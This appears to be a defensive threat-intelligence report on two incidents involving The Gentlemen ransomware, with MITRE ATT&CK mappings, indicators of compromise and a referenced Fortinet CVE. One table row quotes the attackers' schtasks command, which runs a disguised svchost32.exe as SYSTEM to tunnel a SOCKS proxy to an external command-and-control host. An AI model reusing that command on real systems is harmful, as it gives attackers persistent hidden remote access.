

# The Gentlemen Ransomware: Defense Evasion TTPs

Tactical Analysis Report — Analyst Use Only

Huntress SOC analysts investigated two incidents involving The Gentlemen ransomware, a RaaS operation that emerged in mid-2025 and has claimed over 400 victims across 70+ countries. The threat actors employed Scheduled Tasks, PowerShell-based AV tampering, log clearing, and a SOCKS proxy C2 implant disguised as svchost.exe to evade defenses and deploy file encryption. A leaked internal database provided additional insight into the group's tooling and tracked CVEs.

## Threat Actor Profiles (1)

### The Gentlemen

Confidence: A2

## MITRE ATT&CK Techniques (14)

| ID        | Name | Evidence / Use Note                                                                                                                                                                                                                                                                                    |
|-----------|------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| T1078     | —    | The first point of visibility we had for the Windows Event Logs started on April 9 and showed the threat actor initiating a Remote Desktop Protocol (RDP) connection using a compromised user's account.                                                                                               |
| T1021.001 | —    | The first point of visibility we had for the Windows Event Logs started on April 9 and showed the threat actor initiating a Remote Desktop Protocol (RDP) connection using a compromised user's account.                                                                                               |
| T1053.005 | —    | The threat actor then created a series of Scheduled Tasks (likely on the Domain Controller, as we didn't see the Event Log Microsoft-Windows-TaskScheduler/140 records that we would expect to see with tasks created locally on the endpoint). One of these was used to run the file encryptor again. |
| T1562.001 | —    | The threat actor used an extensive series of commands via PowerShell to disable Microsoft Defender, and then 'blind' it with exclusions, before re-deploying the executable.                                                                                                                           |
| T1070.001 | —    | On April 10, the attacker also cleared the System, Application, and Security Windows Event Logs.                                                                                                                                                                                                       |
| T1059.001 | —    | The threat actor used an extensive series of commands via PowerShell to disable Microsoft Defender, and then 'blind' it with exclusions, before re-deploying the executable.                                                                                                                           |
| T1036.005 | —    | The binary (svchost32.exe), disguised as the legitimate Windows system process svchost.exe, created a SOCKS proxy connection to                                                                                                                                                                        |

|           |   |                                                                                                                                                                                                                              |
|-----------|---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|           |   | a command-and-control (C2) IP address at 193.233.202[.]17 on port 44729.                                                                                                                                                     |
| T1090.001 | — | The binary (svchost32.exe), disguised as the legitimate Windows system process svchost.exe, created a SOCKS proxy connection to a command-and-control (C2) IP address at 193.233.202[.]17 on port 44729.                     |
| T1486     | — | After the payload was successfully deployed, files were encrypted with an extension .fjn1jw and the ransom note (README-GENTLEMEN.txt) was dropped.                                                                          |
| T1548     | — | The logs also showed Defender detecting and blocking Trojan:Win32/MpTamperBulkExcl.H, a PowerShell script that was executed and attempted to tamper with antivirus exclusions.                                               |
| T1484.001 | — | Previous public reports have also pointed to various techniques used by threat actors deploying The Gentlemen ransomware, including the leveraging of Group Policy Objects (GPO) to enable domain-wide attacks.              |
| T1543     | — | persistence via remote access software (specifically AnyDesk).                                                                                                                                                               |
| T1105     | — | These showed a second instance of the same win.exe ransomware payload detected on April 10, which was found on the NETLOGON share and executed by the SYSTEM account through the Configuration Manager Client (CcmExec.exe). |
| T1202     | — | cmd.exe /C schtasks /create /tn WindowsConnSvc /tr C:\Windows\Temp\svchost32.exe client 77.110.122[.]137:37182 R:1085:socks /sc minute /mo 2 /ru SYSTEM /f > C:\Windows\Temp\RbHoNVNU.tmp 2>&1                               |

## Indicators of Compromise (4)

| Type | Value                                                            | Context                                                                                     |
|------|------------------------------------------------------------------|---------------------------------------------------------------------------------------------|
| ip   | 193.233.202[.]17                                                 | C2 IP address for malicious Scheduled Task SOCKS proxy beacon (second incident), port 44729 |
| ip   | 77.110.122[.]137                                                 | C2 IP address for previous malicious Scheduled Task attempt (second incident), port 37182   |
| hash | f918535f974591ef031bd0f30a8171e3da27a6754e6426a8ba095f83195661c8 | SHA256 of G_hlm7jj_windows_amd64.exe, The Gentlemen ransomware encryptor (second incident)  |
| url  | README-GENTLEMEN.txt                                             | Ransom note filename dropped after successful encryption (first and second incident)        |

## Referenced CVEs (1)

| CVE ID | Context |
|--------|---------|
|--------|---------|

CVE-2024-55591

Fortinet authentication bypass flaw tracked in The Gentlemen's internal database, revealed via the leaked internal database in early May.

## Kill Chain Phases Observed

initial-access

execution

persistence

defense-evasion

command-and-control

impact

## Source Reliability Assessment

Admiralty code: **B2** — Usually reliable, probably true.

## Sectors Targeted

Shipping and Transportation

Construction

## Geographies Targeted

Global (70+ countries)

## Source Reference

<https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps>